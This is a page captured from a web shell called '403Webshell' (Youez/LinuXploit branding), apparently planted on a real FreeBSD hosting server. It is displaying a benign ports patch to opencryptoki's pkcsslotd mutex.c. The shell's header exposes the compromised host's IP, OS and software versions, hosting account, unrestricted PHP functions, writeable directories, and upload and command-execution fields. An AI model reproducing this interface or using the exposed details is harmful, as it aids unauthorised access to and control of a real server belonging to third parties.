403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/opencryptoki/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/opencryptoki/files/patch-usr-sbin-pkcsslotd-mutex.c
--- usr/sbin/pkcsslotd/mutex.c.orig	2022-04-25 11:04:51 UTC
+++ usr/sbin/pkcsslotd/mutex.c
@@ -16,10 +16,24 @@
 #include <sys/stat.h>
 #include <grp.h>
 #include <string.h>
+#include <fcntl.h>
 
 #include "log.h"
 #include "slotmgr.h"
 
+#ifndef	LOCK_SH
+#define	LOCK_SH 1       /* shared lock */
+#endif
+#ifndef	LOCK_EX
+#define	LOCK_EX 2       /* exclusive lock */
+#endif
+#ifndef	LOCK_NB
+#define	LOCK_NB 4       /* don't block when locking */
+#endif
+#ifndef	LOCK_UN
+#define	LOCK_UN 8       /* unlock */
+#endif
+
 static int xplfd = -1;
 
 int CreateXProcLock(void)
@@ -37,7 +51,7 @@ int CreateXProcLock(void)
                 goto error;
             }
 
-            grp = getgrnam("pkcs11");
+            grp = getgrnam(PKCS11GROUP);
             if (grp != NULL) {
                 if (fchown(xplfd, -1, grp->gr_gid) == -1) {
                     DbgLog(DL0, "%s:fchown(%s):%s\n",

Youez - 2016 - github.com/yon3zu
LinuXploit